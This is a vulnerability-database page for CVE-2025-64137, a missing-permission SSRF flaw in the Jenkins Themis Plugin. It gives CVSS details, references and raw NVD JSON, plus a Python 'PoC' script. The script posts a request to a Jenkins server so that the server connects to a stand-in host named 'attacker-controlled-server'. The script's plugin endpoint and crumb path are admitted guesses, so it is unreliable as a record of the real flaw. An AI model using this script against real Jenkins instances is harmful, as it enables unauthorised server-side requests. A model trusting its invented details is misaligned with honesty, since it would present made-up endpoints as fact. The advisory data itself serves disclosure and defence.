CVE-2025-64137

Description

A missing permission check in Jenkins Themis Plugin 1.4.1 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified HTTP server.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:themis:*:*:*:*:*:jenkins:*:* - VULNERABLE

Jenkins Themis Plugin <= 1.4.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64137 PoC - Jenkins Themis Plugin SSRF
# Requires Overall/Read permission
import requests
import sys

TARGET = "http://target-jenkins-server:8080"
ATTACKER_SERVER = "http://attacker-controlled-server:8888"

def exploit_ssrf():
    """
    Exploit missing permission check in Jenkins Themis Plugin
    to trigger SSRF by connecting to attacker-controlled HTTP server
    """
    # Get CSRF token first
    session = requests.Session()
    try:
        resp = session.get(f"{TARGET}/jenkins/csrf")
        crumb = resp.headers.get('Jenkins-Crumb', '')
    except:
        print("[-] Failed to get CSRF token")
        return False
    
    # Target endpoint for Themis Plugin SSRF
    # Replace 'themis-endpoint' with actual vulnerable endpoint
    vulnerable_url = f"{TARGET}/jenkins/plugin/themis/connect"
    
    # Payload to connect to attacker server
    payload = {
        'serverUrl': ATTACKER_SERVER,
        'action': 'connect'
    }
    
    headers = {
        'Jenkins-Crumb': crumb
    }
    
    try:
        response = session.post(
            vulnerable_url,
            data=payload,
            headers=headers,
            timeout=10
        )
        print(f"[*] Request sent to {vulnerable_url}")
        print(f"[*] Response status: {response.status_code}")
        return True
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False

if __name__ == "__main__":
    print("CVE-2025-64137 PoC - Jenkins Themis Plugin SSRF")
    print("Target:", TARGET)
    print("Attacker Server:", ATTACKER_SERVER)
    exploit_ssrf()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64137
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64137
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64137/
[4] VulDB https://vuldb.com/cve/CVE-2025-64137
[5] https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3517
[6] http://www.openwall.com/lists/oss-security/2025/10/29/2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64137", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:58.087", "lastModified": "2025-11-04T22:16:40.130", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing permission check in Jenkins Themis Plugin 1.4.1 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified HTTP server."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:themis:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "1.4.1", "matchCriteriaId": "68468B62-E7D1-4527-A7BB-D0E6254D5DAE"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3517", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}